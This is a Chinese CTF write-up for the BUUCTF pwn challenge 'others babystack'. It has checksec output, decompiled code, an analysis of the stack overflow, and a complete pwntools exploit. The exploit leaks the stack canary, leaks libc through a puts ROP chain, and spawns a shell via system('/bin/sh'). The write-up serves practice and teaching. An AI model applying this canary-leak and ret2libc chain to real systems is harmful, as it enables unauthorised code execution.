others babystack
# others babystack
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/others_babystack/babystack'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int option; // eax
char s; // [rsp+10h] [rbp-90h]
unsigned __int64 v6; // [rsp+98h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(&s, 0, 0x80uLL);
while ( 1 )
{
menu();
option = get_option();
switch ( option )
{
case 2:
puts(&s);
break;
case 3:
return 0LL;
case 1:
read(0, &s, 0x100uLL);
break;
default:
print("invalid choice");
break;
}
print(&unk_400AE7);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
menu函数如下:
ssize_t menu()
{
print("--------");
print("1.store");
print("2.print");
print("3.quit");
print("--------");
return print(">> ");
}
1
2
3
4
5
6
7
8
9
2
3
4
5
6
7
8
9
print函数如下:
int __fastcall print(const char *a1)
{
return puts(a1);
}
1
2
3
4
2
3
4
# 思路分析
目前信息:
- 可写入
0x100
的数据大于0x90
puts
可泄漏canary
- Full RELRO
- Canary found
- NX enabled
- No PIE
- 可写入
思路
- 将栈上
s
与canary
之间全部填充字符,利用puts
函数将canary
泄漏出来,后续是常规的ret2libc
- 将栈上
# exp
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/others_babystack/babystack'
io = remote('node4.buuoj.cn', 29898)
# io = process(pwnfile)
elf = ELF(pwnfile)
padding = 0x90
# 将中间全部填充字符再打印以泄漏canary
io.sendlineafter('>> ', '1')
io.sendline(cyclic(padding-0x8))
io.sendlineafter('>> ', '2')
io.recvuntil('\n')
canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success("canary:"+hex(canary))
# 泄漏libc
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi_ret = 0x400a93
main_addr = 0x400908
io.sendlineafter('>> ', '1')
payload = flat([cyclic(padding-0x8), canary, 0xdeadbeef,pop_rdi_ret, puts_got, puts_plt, main_addr])
io.sendline(payload) # 此时程序回到一次新的main调用,需退出到最开始处
io.sendlineafter(">>", '3')
leak_puts = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success("puts:"+hex(leak_puts))
libc = LibcSearcher('puts', leak_puts)
libc_base = leak_puts-libc.dump('puts')
system = libc_base+libc.dump('system')
bin_sh = libc_base+libc.dump('str_bin_sh')
# shell
io.sendlineafter('>> ', '1')
payload = flat([cyclic(padding-0x8), canary,0xdeadbeef, pop_rdi_ret, bin_sh, system])
io.sendline(payload)
io.sendlineafter(">>", '3')
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
上次更新: 2022/08/15, 00:29:49